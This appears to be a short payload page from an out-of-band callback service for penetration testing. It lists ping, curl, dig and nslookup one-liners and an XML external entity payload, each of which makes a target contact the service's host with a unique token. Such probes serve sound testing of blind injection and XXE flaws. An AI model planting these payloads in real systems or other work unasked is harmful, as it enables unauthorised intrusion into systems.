$ ping -c1 -p 00ec58f4afb18c16c900b829de727c00 unhack.ca
 

$ curl http://unhack.ca/p/ec58f4afb18c16c900b829de727c
 

$ dig ec58f4afb18c16c900b829de727c @unhack.ca
 

$ dig ec58f4afb18c16c900b829de727c.ns.unhack.ca
 

C:\> nslookup ec58f4afb18c16c900b829de727c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ec58f4afb18c16c900b829de727c">]>
    <foo>&xxe;</foo>